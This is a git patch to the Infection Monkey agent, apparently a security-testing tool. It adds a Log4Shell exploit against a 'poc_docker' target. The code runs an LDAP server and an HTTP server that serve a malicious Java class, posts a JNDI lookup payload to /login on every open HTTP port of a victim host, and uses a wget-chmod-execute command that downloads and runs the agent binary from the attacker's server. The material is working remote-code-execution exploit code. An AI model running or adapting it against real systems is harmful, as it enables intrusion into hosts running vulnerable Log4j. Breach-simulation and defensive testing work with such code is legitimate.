From 0659fddac650b132d36b77145dfebac7b57eb9e8 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 4 Jan 2022 17:48:45 +0200 Subject: [PATCH] Agent: add the docker POC exploit to log4shell Implements the infrastructure needed to add different log4shell exploits and adds the --- monkey/infection_monkey/exploit/log4shell.py | 41 +++++++++---------- .../log4shell_utils/requests/__init__.py | 3 ++ .../log4shell_utils/requests/poc_docker.py | 25 +++++++++++ monkey/infection_monkey/model/__init__.py | 1 - 4 files changed, 48 insertions(+), 22 deletions(-) create mode 100644 monkey/infection_monkey/exploit/log4shell_utils/requests/__init__.py create mode 100644 monkey/infection_monkey/exploit/log4shell_utils/requests/poc_docker.py diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index b7c1b2133..3d95e92d7 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -3,14 +3,13 @@ import http.server import logging from threading import Thread -import requests - from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.log4shell_utils import LDAPExploitServer, build_exploit_bytecode from infection_monkey.exploit.log4shell_utils.exploit_builder import ( LINUX_EXPLOIT_TEMPLATE_PATH, WINDOWS_EXPLOIT_TEMPLATE_PATH, ) +from infection_monkey.exploit.log4shell_utils.requests import exploits from infection_monkey.exploit.tools.helpers import get_monkey_depth from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.exploit.web_rce import WebRCE @@ -26,8 +25,6 @@ from infection_monkey.utils.monkey_dir import get_monkey_dir_path logger = logging.getLogger(__name__) -LDAP_PAYLOAD = "${jndi:ldap://192.168.56.1:8080/dn=Exploit}" - class Log4ShellExploiter(WebRCE): _TARGET_OS_TYPE = ["linux", "windows"] @@ -36,7 +33,6 @@ class Log4ShellExploiter(WebRCE): LDAP_PORT = 8080 CLASS_HTTP_SERVER_PORT = 1337 DOWNLOAD_TIMEOUT = 15 - URLS = ["http://192.168.56.101:8080/login"] def __init__(self, host: VictimHost): super().__init__(host) @@ -57,11 +53,13 @@ class Log4ShellExploiter(WebRCE): java_class = self.build_java_class(command) class_http_server_ip = get_interface_to_target(self.host.ip_addr) - java_class_http_thread = self.get_java_class_server_thread(class_http_server_ip, java_class) + java_class_http_thread = Log4ShellExploiter.get_java_class_server_thread( + class_http_server_ip, java_class + ) java_class_http_thread.start() ldap = LDAPExploitServer( - ldap_server_port=8080, + ldap_server_port=Log4ShellExploiter.LDAP_PORT, http_server_ip=class_http_server_ip, http_server_port=self.CLASS_HTTP_SERVER_PORT, storage_dir=get_monkey_dir_path(), @@ -69,21 +67,21 @@ class Log4ShellExploiter(WebRCE): ldap_thread = ldap.get_run_thread() ldap_thread.start() - payload = {"uname": self.build_ldap_payload(), "password": "m0nk3y"} - try: - requests.post(Log4ShellExploiter.URLS[0], data=payload, timeout=5, verify=False) - except requests.ReadTimeout: - logger.error("Couldn't send request to the vulnerable machine") - return False - finally: - http_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) - http_thread.stop() + # Try to exploit all services, + # because we don't know which services are running and on which ports + open_ports = [ + port[0] for port in WebRCE.get_open_service_ports(self.host, self.HTTP, ["http"]) + ] + for exploit in exploits: + exploit(payload=self.build_ldap_payload(), host=self.host, open_ports=open_ports) + http_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) + http_thread.stop() - java_class_http_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) - Log4ShellExploiter.HTTPHandler.stop = True + java_class_http_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) + Log4ShellExploiter.HTTPHandler.stop = True - ldap_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) - ldap.stop() + ldap_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) + ldap.stop() return True def build_ldap_payload(self): @@ -147,7 +145,8 @@ class Log4ShellExploiter(WebRCE): ): server.handle_request() - def get_java_class_server_thread(self, ip: str, java_class: bytes): + @staticmethod + def get_java_class_server_thread(ip: str, java_class: bytes): Log4ShellExploiter.HTTPHandler.java_class = java_class return Thread(target=Log4ShellExploiter._run_class_http_server, args=[ip]) diff --git a/monkey/infection_monkey/exploit/log4shell_utils/requests/__init__.py b/monkey/infection_monkey/exploit/log4shell_utils/requests/__init__.py new file mode 100644 index 000000000..e6a289d5c --- /dev/null +++ b/monkey/infection_monkey/exploit/log4shell_utils/requests/__init__.py @@ -0,0 +1,3 @@ +from .poc_docker import trigger_exploit as exploit_poc + +exploits = [exploit_poc] diff --git a/monkey/infection_monkey/exploit/log4shell_utils/requests/poc_docker.py b/monkey/infection_monkey/exploit/log4shell_utils/requests/poc_docker.py new file mode 100644 index 000000000..9743391a0 --- /dev/null +++ b/monkey/infection_monkey/exploit/log4shell_utils/requests/poc_docker.py @@ -0,0 +1,25 @@ +from logging import getLogger +from typing import List + +import requests + +from infection_monkey.model import VictimHost + +logger = getLogger(__name__) + + +def trigger_exploit(payload: str, host: VictimHost, open_ports: List[int]): + urls = build_urls(open_ports, host) + payload = {"uname": payload, "password": "m0nk3y"} + for url in urls: + try: + requests.post(url, data=payload, timeout=5, verify=False) # noqa DUO123 + except requests.ReadTimeout: + logger.debug("Couldn't send request to the vulnerable machine") + + +def build_urls(open_ports: List[int], host: VictimHost) -> List[str]: + urls = [] + for port in open_ports: + urls.append(f"http://{host.ip_addr}:{port}/login") + return urls diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index 1edb2db40..c0429fc8b 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -64,7 +64,6 @@ LOG4SHELL_LINUX_COMMAND = ( "wget -O %(monkey_path)s %(http_path)s ;" " chmod +x %(monkey_path)s ;" " %(monkey_path)s %(monkey_type)s %(parameters)s" - # "touch /tmp/test_with_new" ) LOG4SHELL_WINDOWS_COMMAND = (